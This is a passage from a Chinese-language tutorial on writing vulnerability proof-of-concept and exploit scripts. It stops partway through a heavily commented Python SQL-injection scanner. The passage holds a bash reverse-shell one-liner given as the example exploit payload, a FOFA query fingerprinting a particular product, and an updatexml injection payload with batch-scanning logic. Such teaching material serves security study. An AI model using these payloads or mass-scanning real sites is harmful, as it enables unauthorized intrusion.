POC & EXP 编写
POC & EXP 编写
1.1 定义
-
POC(Proof of Concept):漏洞验证 无害的
-
EXP(Exploit): 漏洞利用
1.2 本质区别
两者的核心区别在于使用的 payload 不同。
例如,对于同一个远程命令执行漏洞:
-
若
payload是id/whoami这类探测性命令(仅用于验证是否存在漏洞),则该脚本属于 POC。 -
若
payload是反弹 shell 的命令(如/bin/bash -i >& /dev/tcp/192.168.101.48/5656 0>&1),则脚本属于 EXP。
即:同一个漏洞,payload 决定了脚本是 POC 还是 EXP。POC 用于确认漏洞存在,EXP 用于实际利用获取权限或进一步操作。
2. POC 的编写
2.1 SQL 注入 POC 编写示例
目标信息
FOFA:
body="media/css/uniform.default.css" && body="资管云" || body="不要着急,点此" || title="资管云"
功能要求
-
-u测试单个 URL -
-f批量测试(从urls.txt读取)
输出格式
-
[+]http://xxx.com 存在sql注入 -
[-]http://xxx.com 不存在sql注入 -
[-]http://xxx.com 请求失败
结果保存
将存在 SQL 注入的站点 URL 保存到 result.txt,每行一个:
http://xxx.com
http://xxx.com
完整 POC 代码(带详细注释)
# 导入 argparse 模块
# argparse 是 Python 标准库,用于解析命令行参数。
# 例如:
# python poc.py -u http://127.0.0.1
# python poc.py -f url.txt
import argparse
# 导入 requests 库
# requests 是 Python 中最常用的 HTTP 请求库。
# 用于发送 GET、POST 等请求。
import requests
# 从 multiprocessing 模块导入 Pool(进程池)
# Pool 可以开启多个子进程,提高批量检测效率。
from multiprocessing import Pool
# quote() 用于 URL 编码
# 例如:
# "a b" -> "a%20b"
# 防止 URL 中特殊字符影响请求。
from urllib.parse import quote
# -------------------------------
# PoC 验证函数
# 每一个 URL 都会调用一次该函数
# -------------------------------
def poc(url):
# 去掉字符串前后的空格、换行符
# 例如:
# " http://test.com\n"
# ↓
# "http://test.com"
url = url.strip()
# 判断字符串是不是以 http 开头
# startswith() 返回 True 或 False
if not url.startswith("http"):
# 如果用户输入的是:
# www.test.com
# 自动补成:
# http://www.test.com
url = "http://" + url
# -------------------------------
# SQL 注入测试参数(Payload)
# -------------------------------
#
# 这是向目标发送的测试参数。
# 它的目的不是获取数据,而是让数据库产生特定错误,
# 然后根据错误信息判断是否存在 SQL 注入。
#
# payload 实际上就是 URL 中的一段查询字符串。
#
payload = "feeItem[]=1+AND+updatexml(1,concat(0x7e,md5(12345678)),1)"
# -------------------------------
# 拼接最终请求地址
# -------------------------------
#
# quote(payload)
# 会把特殊字符进行 URL 编码。
#
# 假设:
#
# url =
# http://test.com/demo?
#
# 拼接后可能类似:
#
# http://test.com/demo?feeItem[]=1...
#
target = f"{url}{quote(payload)}"
# -------------------------------
# HTTP 请求头
# -------------------------------
#
# User-Agent 用来伪装浏览器。
# 很多网站会拦截默认的 Python requests。
#
headers = {
"User-Agent":
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) "
"AppleWebKit/537.36 "
"(KHTML, like Gecko) "
"Chrome/58.0.3029.110 Safari/537.3"
}
# -------------------------------
# try 用来捕获异常
# -------------------------------
#
# 如果目标打不开
# 如果超时
# 如果 DNS 错误
#
# 程序不会崩溃。
#
try:
# 发送 GET 请求
#
# 参数说明:
#
